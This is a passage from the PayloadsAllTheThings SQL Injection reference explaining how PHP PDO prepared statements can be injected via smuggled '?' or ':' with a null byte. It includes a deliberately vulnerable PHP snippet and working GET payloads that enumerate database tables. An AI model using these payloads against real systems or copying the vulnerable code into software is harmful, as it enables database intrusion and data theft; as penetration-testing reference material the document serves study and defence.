PDO, or PHP Data Objects, is an extension for PHP that provides a consistent and secure way to access and interact with databases. It is designed to offer a standardized approach to database interaction, allowing developers to use a consistent API across multiple types of databases like MySQL, PostgreSQL, SQLite, and more. PDO allows for binding of input parameters, which ensures that user data is properly sanitized before being executed as part of a SQL query. However it might still be vulnerable to SQL injections if the developers allowed user input inside the SQL query. **Requirements**: * DMBS * **MySQL** is vulnerable by default. * **Postgres** is not vulnerable by default, unless the emulation is turned on with `PDO::ATTR_EMULATE_PREPARES => true`. * **SQLite** is not vulnerable to this attack. * SQL injection anywhere inside a PDO statement: `$pdo->prepare("SELECT $INJECT_SQL_HERE...")`. * PDO used for another SQL parameter, either with `?` or `:parameter`. ```php $pdo = new PDO(APP_DB_HOST, APP_DB_USER, APP_DB_PASS); $col = '`' . str_replace('`', '``', $_GET['col']) . '`'; $stmt = $pdo->prepare("SELECT $col FROM animals WHERE name = ?"); $stmt->execute([$_GET['name']]); // or $stmt = $pdo->prepare("SELECT $col FROM animals WHERE name = :name"); $stmt->execute(['name' => $_GET['name']]); ``` **Methodology**: **NOTE**: In PHP 8.3 and lower, the injection happens even without a null byte (`\0`). The attacker only needs to smuggle a "`:`" or a "`?`". * Detect the SQLi using `?#\0`: `GET /index.php?col=%3f%23%00&name=anything` ```ps1 # 1st Payload: ?#\0 # 2nd Payload: anything You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '`'anything'#' at line 1 ``` * Force a select \`'x\` instead of a column name and create a comment. Inject a backtick to fix the column and terminate the SQL query with `;#`: `GET /index.php?col=%3f%23%00&name=x%60;%23` ```ps1 # 1st Payload: ?#\0 # 2nd Payload: x`;# Column not found: 1054 Unknown column ''x' in 'SELECT' ``` * Inject in second parameter the payload. `GET /index2.php?col=\%3f%23%00&name=x%60+FROM+(SELECT+table_name+AS+`'x`+from+information_schema.tables)y%3b%2523` ```ps1 # 1st Payload: \?#\0 # 2nd Payload: x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23 ALL_PLUGINS APPLICABLE_ROLES CHARACTER_SETS CHECK_CONSTRAINTS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS ``` * Final SQL queries ```SQL -- Before $pdo->prepare SELECT `\?#\0` FROM animals WHERE name = ? -- After $pdo->prepare SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;#'#\0` FROM animals WHERE name = ? ```
Source: SQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.